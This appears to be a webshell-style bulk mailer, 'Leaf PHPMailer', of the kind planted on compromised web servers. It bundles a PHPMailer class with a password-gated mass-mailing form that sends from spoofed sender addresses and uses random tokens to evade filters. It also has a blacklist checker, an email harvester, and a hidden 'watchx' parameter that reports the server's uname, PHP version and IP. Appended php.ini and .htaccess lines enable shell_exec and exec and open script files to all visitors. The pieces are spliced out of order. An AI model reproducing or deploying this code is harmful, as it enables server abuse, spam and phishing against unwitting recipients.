     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "1AnI2KQc7XN";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
